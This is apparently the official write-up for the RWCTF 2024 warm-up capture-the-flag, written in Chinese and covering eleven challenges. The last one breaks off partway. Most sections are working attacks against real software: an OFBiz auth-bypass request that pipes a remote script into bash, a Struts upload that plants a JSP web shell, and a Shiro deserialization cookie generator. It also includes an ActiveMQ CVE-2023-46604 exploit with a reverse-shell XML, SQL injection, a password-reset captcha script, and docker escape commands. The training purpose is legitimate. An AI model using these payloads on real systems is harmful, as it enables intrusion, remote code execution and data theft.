【Real World CTF 6th Writeup】就是它!RWCTF 2024体验赛官方Writeup奉上!
2024-2-2 19:21:17 Author: mp.weixin.qq.com(查看原文) 阅读量:21 收藏

Challenge
01
Be-a-Framework-Hacker

Clone-and-Pwn, difficulty:Baby

由于提供了附件,可以使用如下命令在本地启动一个服务

docker build . -t rwctf:be-a-framework-hackerdocker run --rm -p 8443:8443 rwctf:be-a-framework-hacker

这题主要考察的漏洞是CVE-2023-51467,通过?USERNAME=&PASSWORD=&requirePasswordChange=Y绕过鉴权。绕过鉴权之后可以执行 groovy 表达式, 这里使用的是 groovy 的 "".execute()语法来执行命令,绕过沙箱,具体 payload 如下

POST /webtools/control/ProgramExport;/?USERNAME=&PASSWORD=&requirePasswordChange=Y HTTP/1.1Host: 127.0.0.1:8443Accept-Encoding: gzip, deflate, brAccept: */*Accept-Language: en-US;q=0.9,en;q=0.8User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.6045.123 Safari/537.36Connection: closeCache-Control: max-age=0Content-Type: application/x-www-form-urlencodedContent-Length: 81groovyProgram=["sh","-c","curl http://igr3yxom.requestrepo.com | bash"].execute()

这里使用的 https://requestrepo.com/ 服务来控制回显,回显内容如下

curl http://requestrepo.com/igr3yxom/ --data $(/readflag)

02
Be-more-Elegant

Webdifficulty:Baby

这里考察的是 s2-066 ,提供了附件下载下来之后,可以进行代码审计

 be.more.elegant.filter.JspFilter#doFilter 中限制了 jsp 访问路径只能是  /view 开头的,其他路由的 jsp 是无法访问的。

be.more.elegant.HeaderIconAction#doUpload这个方法对应的路由是/upload.action

由于 s2 的限制,正常上传的文件名是无法包含 .. 的。所以我们通过 s2 066 这个漏洞,由于 s2 对于大小不敏感,所以我们可以使用如下 payload 去对 fileUploadFileName 进行二次赋值,让实际的  fileUploadFileName 内容为 ../../../views/a.jsp ,这样就可以通过跨目录写 jsp 到 views 目录下。

ps: 这里要注意在使用这个包之前需要上传一个正常的文件,保证 md5 的目录可以创建出来。因为 ../ 在 linux 系统下是无法跳到一个不存在的目录的。

POST /upload.action;jsessionid=D2DF7842CD2DEA1BE82A7300A134F655 HTTP/1.1User-Agent: PostmanRuntime/7.36.1Accept: */*Host: 192.168.144.1:8081Accept-Encoding: gzip, deflate, brConnection: closeContent-Type: multipart/form-data; boundary=--------------------------319187937788325310215959Content-Length: 1737----------------------------319187937788325310215959Content-Disposition: form-data; name="FileUpload"; filename="a.jsp"Content-Type: application/octet-stream<%@ page language="java" contentType="text/html; charset=UTF-8"    pageEncoding="UTF-8"%><%@ page import="java.io.*" %><!DOCTYPE html><html><head>    <title>Command Execution</title></head><body>    <%        String command = request.getParameter("a");        if (command != null && !command.isEmpty()) {            String output = "";            try {                Process process = Runtime.getRuntime().exec(command);                BufferedReader reader = new BufferedReader(new InputStreamReader(process.getInputStream()));                String line;                while ((line = reader.readLine()) != null) {                    output += line + "<br>";                }                reader.close();                int exitCode = process.waitFor();                if (exitCode != 0) {                    output += "Command execution failed with exit code: " + exitCode;                }            } catch (IOException | InterruptedException e) {                output += "Error executing command: " + e.getMessage();            }            out.println("<p>Executed command: " + command + "</p>");            out.println("<p>Output:</p>");            out.println("<pre>" + output + "</pre>");        } else {            out.println("<p>No command provided.</p>");        }    %></body></html>----------------------------319187937788325310215959Content-Disposition: form-data; name="fileUploadFileName"../../../views/a.jsp----------------------------319187937788325310215959--
03
Old-Shiro

Webdifficulty:Normal

使用以下 docker-compose 文件搭建

version: '3.3'services:  nginx:    image: nginx:1.20.1    ports:      - "0.0.0.0:8888:8888"    volumes:        - ./nginx.conf:/etc/nginx/nginx.conf    networks:      - internal_network      - out_network  backend:    build:      context: ./backend      dockerfile: Dockerfile    networks:      - internal_networknetworks:    internal_network:        internal: true        ipam:            driver: default    out_network:        ipam:            driver: default

其中 nginx 主要是将 java 的端口代理出来,里面的 backend 服务是一个 shiro550 的漏洞环境,配置为不出网。

首先分析 oldshiro 这个 jar 包,可以看到其设置了最大的 header 长度为 3000

由于目标配置的是不出网的场景,因此我们需要考虑使用不出网的手法来进行 RCE,且 cookie 不能太大。

如果使用网上的工具基本上 cookie 都会大于 3k

package org.example;import com.nqzero.permit.Permit;import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;import javassist.ClassClassPath;import javassist.ClassPool;import javassist.CtClass;import org.apache.commons.beanutils.BeanComparator;import org.objectweb.asm.*;import javax.crypto.BadPaddingException;import javax.crypto.Cipher;import javax.crypto.IllegalBlockSizeException;import javax.crypto.NoSuchPaddingException;import javax.crypto.spec.IvParameterSpec;import javax.crypto.spec.SecretKeySpec;import java.io.*;import java.lang.reflect.AccessibleObject;import java.lang.reflect.Field;import java.math.BigInteger;import java.net.URLEncoder;import java.security.*;import java.util.Base64;import java.util.PriorityQueue;public class Main {    public static void main(String[ ] args) throws Exception {        String key = "kPH+bIxk5D2deZiIxcaaaA==";        String javaCode = "Object attr = java.lang.Class.forName(\"org.springframework.web.context.request.RequestContextHolder\").getMethod(\"currentRequestAttributes\", new java.lang.Class[ ]{}).invoke(null,null);" +                "Object resp = attr.getClass().getMethod(\"getResponse\", null).invoke(attr, null);" +                "String flag = new java.lang.String(java.nio.file.Files.readAllBytes(java.nio.file.Paths.get(\"/flag\", new java.lang.String[ ]{})));" +                "resp.getClass().getMethod(\"addHeader\", new java.lang.Class[ ]{java.lang.String.class, java.lang.String.class}).invoke(resp, new java.lang.Object[ ]{\"r\", flag});";        Object cbGadget = getCbGadget(javaCode);        byte[ ] cbGadgetBytes = Serialization.serialize(cbGadget);        String s = doShiroEncryption(cbGadgetBytes, key);        System.out.println("Cookie length: " + s.length());        System.out.println("Cookie is: " + s);    }    public static byte[ ] base64Decode(String key) {        return Base64.getDecoder().decode(key);    }    public static String base64Encode(byte[ ] key) {        return Base64.getEncoder().encodeToString(key);    }    public static String urlEncode(String key) throws UnsupportedEncodingException {        return URLEncoder.encode(key, "UTF-8");    }    public static String doShiroEncryption(byte[ ] content, String keyInBase64) throws NoSuchAlgorithmException, NoSuchPaddingException, InvalidAlgorithmParameterException, InvalidKeyException, IllegalBlockSizeException, BadPaddingException {        byte[ ] key = base64Decode(keyInBase64);        byte[ ] iv = generateRandomIv();        Cipher cipher = Cipher.getInstance("AES/CBC/PKCS5Padding");        Key keySpec = new SecretKeySpec(key, "AES");        IvParameterSpec ivSpec = new IvParameterSpec(iv);        cipher.init(Cipher.ENCRYPT_MODE, keySpec, ivSpec);        byte[ ] encrypted = cipher.doFinal(content);        byte[ ] cipherText = new byte[iv.length + encrypted.length];        System.arraycopy(iv, 0, cipherText, 0, iv.length);        System.arraycopy(encrypted, 0, cipherText, iv.length, encrypted.length);        return base64Encode(cipherText);    }    private static byte[ ] generateRandomIv() throws NoSuchAlgorithmException {        byte[ ] iv = new byte[16];        SecureRandom random = SecureRandom.getInstance("SHA1PRNG");        random.nextBytes(iv);        return iv;    }    public static Object getCbGadget(String javaCode) throws Exception {        final Object templates = Gadgets.createTemplatesImpl(javaCode);        // mock method name until armed        final BeanComparator comparator = new BeanComparator("lowestSetBit");        // create queue with numbers and basic comparator        final PriorityQueue<Object> queue = new PriorityQueue<Object>(2, comparator);        // stub data for replacement later        queue.add(new BigInteger("1"));        queue.add(new BigInteger("1"));        // switch method called by comparator        Reflections.setFieldValue(comparator, "property", "outputProperties");        // switch contents of queue        final Object[ ] queueArray = (Object[ ]) Reflections.getFieldValue(queue, "queue");        queueArray[0] = templates;        queueArray[1] = templates;        return queue;    }    public static class Serialization {        public static byte[ ] serialize(Object obj) throws IOException {            final ByteArrayOutputStream out = new ByteArrayOutputStream();            serialize(obj, out);            return out.toByteArray();        }        public static void serialize(Object obj, OutputStream out) throws IOException {            final ObjectOutputStream objOut = new ObjectOutputStream(out);            objOut.writeObject(obj);        }    }    public static class Gadgets {        public static Object createTemplatesImpl(final String command) throws Exception {            if (Boolean.parseBoolean(System.getProperty("properXalan", "false"))) {                return createTemplatesImpl(                        command,                        Class.forName("org.apache.xalan.xsltc.trax.TemplatesImpl"),                        Class.forName("org.apache.xalan.xsltc.runtime.AbstractTranslet"),                        Class.forName("org.apache.xalan.xsltc.trax.TransformerFactoryImpl"));            }            return createTemplatesImpl(command, TemplatesImpl.class, AbstractTranslet.class, TransformerFactoryImpl.class);        }        public static <T> T createTemplatesImpl(final String javaCode, Class<T> tplClass, Class<?> abstTranslet, Class<?> transFactory)                throws Exception {            final T templates = tplClass.newInstance();            ClassPool pool = ClassPool.getDefault();            pool.insertClassPath(new ClassClassPath(abstTranslet));            final CtClass clazz = pool.makeClass("StubTransletPayload");            clazz.makeClassInitializer().insertAfter(javaCode);            clazz.setName("ysoserial.Pwner" + System.nanoTime());            CtClass superC = pool.get(abstTranslet.getName());            clazz.setSuperclass(superC);            byte[ ] classBytes = clazz.toBytecode();            // inject class bytes into instance            classBytes = shortenClassBytes(classBytes);            byte[ ] fooBytes = shortenClassBytes(ClassFiles.classAsBytes(Foo.class));            Reflections.setFieldValue(templates, "_bytecodes", new byte[ ][ ]{                    classBytes, ClassFiles.classAsBytes(Foo.class)            });            // required to make TemplatesImpl happy            Reflections.setFieldValue(templates, "_name", "1");            Reflections.setFieldValue(templates, "_tfactory", transFactory.newInstance());            return templates;        }    }    public static class ClassFiles {        public static String classAsFile(final Class<?> clazz) {            return classAsFile(clazz, true);        }        public static String classAsFile(final Class<?> clazz, boolean suffix) {            String str;            if (clazz.getEnclosingClass() == null) {                str = clazz.getName().replace(".", "/");            } else {                str = classAsFile(clazz.getEnclosingClass(), false) + "$" + clazz.getSimpleName();            }            if (suffix) {                str += ".class";            }            return str;        }        public static byte[ ] classAsBytes(final Class<?> clazz) {            try {                final byte[ ] buffer = new byte[1024];                final String file = classAsFile(clazz);                final InputStream in = ClassFiles.class.getClassLoader().getResourceAsStream(file);                if (in == null) {                    throw new IOException("couldn't find '" + file + "'");                }                final ByteArrayOutputStream out = new ByteArrayOutputStream();                int len;                while ((len = in.read(buffer)) != -1) {                    out.write(buffer, 0, len);                }                return out.toByteArray();            } catch (IOException e) {                throw new RuntimeException(e);            }        }    }    public static class Foo implements Serializable {        private static final long serialVersionUID = 8207363842866235160L;    }    public static class Reflections {        public static void setAccessible(AccessibleObject member) {            String versionStr = System.getProperty("java.version");            int javaVersion = Integer.parseInt(versionStr.split("\\.")[0]);            if (javaVersion < 12) {                // quiet runtime warnings from JDK9+                Permit.setAccessible(member);            } else {                // not possible to quiet runtime warnings anymore...                // see https://bugs.openjdk.java.net/browse/JDK-8210522                // to understand impact on Permit (i.e. it does not work                // anymore with Java >= 12)                member.setAccessible(true);            }        }        public static Field getField(final Class<?> clazz, final String fieldName) {            Field field = null;            try {                field = clazz.getDeclaredField(fieldName);                setAccessible(field);            }            catch (NoSuchFieldException ex) {                if (clazz.getSuperclass() != null)                    field = getField(clazz.getSuperclass(), fieldName);            }            return field;        }        public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {            final Field field = getField(obj.getClass(), fieldName);            field.set(obj, value);        }        public static Object getFieldValue(final Object obj, final String fieldName) throws Exception {            final Field field = getField(obj.getClass(), fieldName);            return field.get(obj);        }    }    public static byte[ ] shortenClassBytes(byte[ ] classBytes) {        ClassReader cr = new ClassReader(classBytes);        ClassWriter cw = new ClassWriter(ClassWriter.COMPUTE_FRAMES);        int api = Opcodes.ASM7;        ClassVisitor cv = new ShortClassVisitor(api, cw);        int parsingOptions = ClassReader.SKIP_DEBUG | ClassReader.SKIP_FRAMES;        cr.accept(cv, parsingOptions);        byte[ ] out = cw.toByteArray();        return out;    }    public static class ShortClassVisitor extends ClassVisitor {        private final int api;        public ShortClassVisitor(int api, ClassVisitor classVisitor) {            super(api, classVisitor);            this.api = api;        }        @Override        public MethodVisitor visitMethod(int access, String name, String descriptor, String signature, String[ ] exceptions) {            MethodVisitor mv = super.visitMethod(access, name, descriptor, signature, exceptions);            return new ShortMethodAdapter(this.api, mv);        }    }    public static class ShortMethodAdapter extends MethodVisitor implements Opcodes {        public ShortMethodAdapter(int api, MethodVisitor methodVisitor) {            super(api, methodVisitor);        }        @Override        public void visitLineNumber(int line, Label start) {            // delete line number        }    }}

pom.xml 如下

<?xml version="1.0" encoding="UTF-8"?><project xmlns="http://maven.apache.org/POM/4.0.0"         xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"         xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">    <modelVersion>4.0.0</modelVersion>    <groupId>org.example</groupId>    <artifactId>OldShiroSolution</artifactId>    <version>1.0-SNAPSHOT</version>    <properties>        <maven.compiler.source>8</maven.compiler.source>        <maven.compiler.target>8</maven.compiler.target>        <project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>    </properties>    <dependencies>        <dependency>            <groupId>org.javassist</groupId>            <artifactId>javassist</artifactId>            <version>3.29.2-GA</version>        </dependency>        <dependency>            <groupId>com.nqzero</groupId>            <artifactId>permit-reflect</artifactId>            <version>0.3</version>        </dependency>        <dependency>            <groupId>commons-collections</groupId>            <artifactId>commons-collections</artifactId>            <version>3.1</version>        </dependency>        <dependency>            <groupId>commons-beanutils</groupId>            <artifactId>commons-beanutils</artifactId>            <version>1.9.2</version>        </dependency>        <dependency>            <groupId>org.ow2.asm</groupId>            <artifactId>asm-tree</artifactId>            <version>7.3.1</version>        </dependency>    </dependencies></project>

发包如下

GET /doLogin HTTP/1.1Host: 121.40.80.33:8888Cookie: rememberMe_rwctf_2024=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-Insecure-Requests: 1

04
Be-an-ActiveMq-Hacker

Clone-and-Pwndifficulty:Baby

环境搭建

使用以下 docker-compose 文件搭建环境

version: '3.3'services:  activemq:    container_name: activemq    ports:      - '61616:61616'    image: lewinc/activemq:5.18.2

解题

使用 CVE-2023-46604 进行攻击即可,使用 org.springframework.context.support.ClassPathXmlApplicationContext

 java 脚本如下

package exps;import java.io.*;import java.net.Socket;public class ActiveMqThrowableExp {    public static void main(String[ ] args) throws IOException {        String ip = "target-ip-address";        int port = 61616;        String remoteXmlUrl = "http://your-http-server:9999/evil.xml";        Socket sck = new Socket(ip, port);        DataOutputStream out = null;        DataInputStream in = null;        out = new DataOutputStream(new BufferedOutputStream(new FileOutputStream("test.txt")));        out.writeInt(32);        out.writeByte(31);        out.writeInt(1);        out.writeBoolean(true);        out.writeInt(1);        out.writeBoolean(true);        out.writeBoolean(true);        out.writeUTF("org.springframework.context.support.ClassPathXmlApplicationContext");        out.writeBoolean(true);        out.writeUTF(remoteXmlUrl);        out.close();        in = new DataInputStream(new BufferedInputStream(new FileInputStream("test.txt")));        OutputStream os = sck.getOutputStream();        int length = in.available();        byte[ ] buf = new byte[length];        in.readFully(buf);        os.write(buf);        in.close();        sck.close();        File file = new File("test.txt");        file.delete();    }}

然后在恶意服务器上分别启动一个 nc 用来收反弹 shell,另一个启动 http 服务用来提供 xml,注意下面的 value 是 html entity 编码后的,可以解码后替换为接受 shell 的 ip 和端口即可收到反弹shell

提供的 xml 如下

注意需要修改实体编码中的localhost为你的接收端主机

<?xml version="1.0" encoding="UTF-8"?><beans xmlns="http://www.springframework.org/schema/beans"  xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"  xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">  <bean id="pb" class="java.lang.ProcessBuilder" init-method="start">    <constructor-arg>      <list>        <value>/bin/bash</value>        <value>-c</value>        <value>&#x2f;&#x62;&#x69;&#x6e;&#x2f;&#x62;&#x61;&#x73;&#x68;&#x20;&#x2d;&#x69;&#x20;&#x3e;&#x26;&#x20;&#x2f;&#x64;&#x65;&#x76;&#x2f;&#x74;&#x63;&#x70;&#x2f;&#x6c;&#x6f;&#x63;&#x61;&#x6c;&#x68;&#x6f;&#x73;&#x74;&#x2f;&#x39;&#x39;&#x39;&#x39;&#x20;&#x30;&#x3e;&#x26;&#x31;          </value>      </list>    </constructor-arg>  </bean></beans>

远程收到shell,获取flag

05
YourSqlTrick

Webdifficulty:Baby

使用 \N 的方法绕过内置过滤,读取 flag 表中的 flag_value 字段:

/tags.php?/alias/aaaaaaa%27||+1=\Nunion+select+1,flag_value,3,4,5,6,7,8,0,10,11+from+flag+where+1=%271
06
Be-a-Captcha-Guesser

Webdifficulty:Normal

这个题目在首页提供了部分的源码,可以看出来是 django 的 wagtail 框架。主要是一个允许重置密码的功能,这里可以通过验证码得到其路由是/captcha/image/566babcf709fa2482d8dec2b71fd930474c8b34c/对此比较敏感的同学可以想到这个是一个 django 的验证码依赖 django-simple-captcha

通过信息搜集可以知道管理员的邮箱是[email protected],图片的 seed 为566babcf709fa2482d8dec2b71fd930474c8b34c ,图片的 size 为 78 x 31

这个题目可以看作是 JumpserverCVE-2023-42820Lite 版本

ps: 这里需要对下面的脚本里面的 CAPTCHA_IMAGE_SIZE 进行修改,将其改成图片的大小

命令如下

python .\run.py -t http://121.40.246.97:39968/ --name admin --email admin@rwctf.game --seed 566babcf709fa2482d8dec2b71fd930474c8b34c --cscookie 60D8JJuDvGCCauRifigL5ycFXR1NPPd3 --cstoken pWB0Zc9JkmV9KrLzEjDpG9KzUME1OkLYlM4YyLtcFSnBKLsHJrJ0BxM4HtvEtZOR

脚本:

import loggingimport sysimport randomimport stringimport argparsefrom urllib.parse import urljoinlogging.basicConfig(stream=sys.stdout, level=logging.INFO, format='%(asctime)s - %(levelname)s - %(message)s')string_punctuation = '!#$%&()*+,-.:;<=>?@[]^_~'import requests_htmlimport urllib3urllib3.disable_warnings()session = requests_html.HTMLSession()session.headers = {    "Connection": "close",    "Cache-Control": "max-age=0",    "User-Agent": "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.30 Safari/537.36",    "Accept-Encoding": "deflate",    "Accept-Language": "zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6",}session.verify = Falsesession.proxies =  {    'http':"http://127.0.0.1:48080",    'https': "http://127.0.0.1:48080",}def random_string(length: int, lower=True, upper=True, digit=True, special_char=False):    args_names = ['lower', 'upper', 'digit', 'special_char']    args_values = [lower, upper, digit, special_char]    args_string = [string.ascii_lowercase, string.ascii_uppercase, string.digits, string_punctuation]    args_string_map = dict(zip(args_names, args_string))    kwargs = dict(zip(args_names, args_values))    kwargs_keys = list(kwargs.keys())    kwargs_values = list(kwargs.values())    args_true_count = len([i for i in kwargs_values if i])    assert any(kwargs_values), f'Parameters {kwargs_keys} must have at least one `True`'    assert length >= args_true_count, f'Expected length >= {args_true_count}, bug got {length}'    can_startswith_special_char = args_true_count == 1 and special_char    chars = ''.join([args_string_map[k] for k, v in kwargs.items() if v])    while True:        password = list(random.choice(chars) for i in range(length))        for k, v in kwargs.items():            if v and not (set(password) & set(args_string_map[k])):                # 没有包含指定的字符, retry                break        else:            if not can_startswith_special_char and password[0] in args_string_map['special_char']:                # 首位不能为特殊字符, retry                continue            else:                # 满足要求终止 while 循环                break    password = ''.join(password)    return passworddef nop_random(seed: str):    CAPTCHA_IMAGE_SIZE = (78, 31) # Change This    size = CAPTCHA_IMAGE_SIZE    random.seed(seed)    for i in range(4):        random.randrange(-35, 35,1)    for p in range(int(size[0] * size[1] * 0.1)):        random.randint(0, size[0])        random.randint(0, size[1])def fix_seed(target: str, seed: str):    def _request(i: int, u: str):        logging.info('send %d request to %s', i, u)        response = session.get(u, timeout=5)        assert response.status_code == 200        assert response.headers['Content-Type'] == 'image/png'    url = urljoin(target, '/captcha/image/' + seed + '/')    for idx in range(0,1):        _request(idx, url)def send_code(target: str, name:str,email: str,args):    url = urljoin(target, "/reset-password/" )    session.headers['Cookie'] ="csrftoken="+args.cscookie    response = session.post(url, data={        'email': email,        'username': name,        'csrfmiddlewaretoken': args.cstoken,    }, allow_redirects=False,headers=session.headers)    assert response.status_code == 200    logging.info("send code headers: %r response: %r", response.headers, response.text)def do_setup_password(target: str):    url = urljoin(target, "/do-reset-password/" )    response = session.get(url,allow_redirects=False)    logging.info("send code headers: %r response: %r", response.headers, response.text)def main(target: str,name:str, email: str, seed: str,args):    fix_seed(target, seed)    nop_random(seed)    send_code(target, name,email,args)    do_setup_password(target)    code = random_string(6, lower=False, upper=False)    print(code)    # logging.info("your code is %s", code)if __name__ == "__main__":    parser = argparse.ArgumentParser(description='Process some integers.')    parser.add_argument('-t', '--target', type=str, required=True, help='target url')    parser.add_argument('--name', type=str, required=True, help='account name')    parser.add_argument('--email', type=str, required=True, help='account email')    parser.add_argument('--seed', type=str, required=True, help='seed from captcha url')    parser.add_argument('--cscookie', type=str, required=True, help='csrf cookie')    parser.add_argument('--cstoken', type=str, required=True, help='csrf token')    args = parser.parse_args()    main(args.target,args.name, args.email, args.seed,args)

这里可以得到验证码为: 788593

使用重置好的密码进行登录,即可在后台获取flag

07
Be-a-Security-Research

Webdifficulty:Baby

直接使用 jenkins-cli 利用即可:

java -jar jenkins-cli.jar -s http://xxxx/ -http who-am-i "@/flag"

08
Be-a-Docker-Escaper-4

Pwndifficulty:Normal

这个题目的出题思路来自于:https://www.anquanke.com/post/id/290540 这篇文章。选手成功通过 ssh 成功连接上环境后,会发现这是一个容器环境,而且通过 ps -aux

命令能看到这个容器的启动命令:

1000        1113  0.0  0.0   6188   992 pts/0    S+   06:25   0:00 sleep 100001000        1114  0.0  2.3 1180376 23264 pts/0   Sl+  06:25   0:00 docker run --rm -it --pid=host --security-opt=apparmor=unconfined ubuntu bash

可以发现该容器共享了 pid, 因此能通过 ps命令看到容器外的进程。此外还有一个 uid 为 1000 的 sleep 进程。 预期解法如下:

#!/bin/shpid=$(pidof sleep)useradd -u 1000 usersu user -c "cat /proc/$pid/root/flag1"

创建一个 uid 为 1000 的用户, 然后通过读 sleep 进程下的 /proc/$PID/root 的文件就能读到 flag。

09
Be-a-Cloud-Hacker

Miscdifficulty:Baby

当成功获取 Be-a-Docker-Escaper-4的容器外权限后, 我们可以先把权限提升到root, 通过题目描述,我们需要找到 user这个用户的密码。 最终可以在 cloud init的目录下找到 user-data.txt里面存储了 cloud init的配置文件, 能找到一个明文密码, 完整的利用如下:

#!/bin/shapt updateapt install docker.iopid=$(pidof sleep)groupadd -g 1001 useruseradd -m -g 1001 -u 1000 usergroupadd -g 1000 docker # modify /etc/group# root@e2bbe4774805:/# cat /etc/group | grep docker# docker:x:1000:userusermod -aG docker usersu user -c "cat /proc/$pid/root/flag1"su userpid=$(pidof sleep)docker -H unix:///proc/$pid/root/run/docker.sock run -it --privileged ubuntu bash# docker -H unix:///proc/$pid/root/run/docker.sock ps -a#  ---- The commands running in the privileged container are as follows ----# mkdir /tmp/a# mount /dev/sda1 /tmp/a# chmod 777 /tmp/a/var/lib/cloud/instances/*/user-data.txt# cat /tmp/a/var/lib/cloud/instances/*/user-data.txt |grep rwctf

10
vision

Pwndifficulty:Baby

连上之后会发现这是一个 Restricted shell , 其支持的命令有如下:

 ping, uname, pwd, date, whoami, poweroff, id, showKey, openthedoor

预期的题目解法是通过逆向发现, 判断是否合法的命令的时候的代码如下:

  len = strlen(s2);    if ( len )    {      v7 = 0;      v10 = support_command_list[0];      while ( strncmp(v10, s2, len) )      {        v10 = support_command_list[++v7];        if ( !support_command_list[v7] )        {          strcpy(a2, "Not Support 4. \n");          return __readfsqword(0x28u) ^ v23;        }      }

其中 s2 是用户的输入, 因此会发现strncmp的第三个参数也是用户可控的,因此这里有个经典的截断问题。当我们输入 sh的时候, 会出现这样的情况: strncmp("showKey", "sh", 2), 因此我们可以通过如下的方法获取 flag

sh -c "cat ./flag"

此外我们发现有些选手用了 date -f /flag 的方法读到了 flag。

11
Be-an-HTTPd-Hacker

Pwndifficulty:Normal

这个题目直接使用了开源代码https://github.com/bnlf/httpd/。这份代码存在至少两个漏洞:

1.  跨目录读取文件。攻击者传入的文件路径未做任何处理直接拼接,通过../可以实现任意文件读取。因为权限问题该漏洞不能直接读取flag,但可以被用来读取/proc/[httpd-pid]/maps实现信息泄露。

